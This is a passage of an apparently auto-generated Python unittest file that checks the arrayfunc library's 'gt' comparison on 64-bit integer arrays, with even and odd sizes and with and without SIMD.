expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_q_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.q_min
maxval = arrayfunc.arraylimits.q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('q', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('q', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_q_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.q_min
maxval = arrayfunc.arraylimits.q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('q', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('q', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_q_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.q_min
maxval = arrayfunc.arraylimits.q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('q', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('q', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_q_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.q_min
maxval = arrayfunc.arraylimits.q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('q', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('q', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_q_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.q_min
maxval = arrayfunc.arraylimits.q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('q', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('q', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
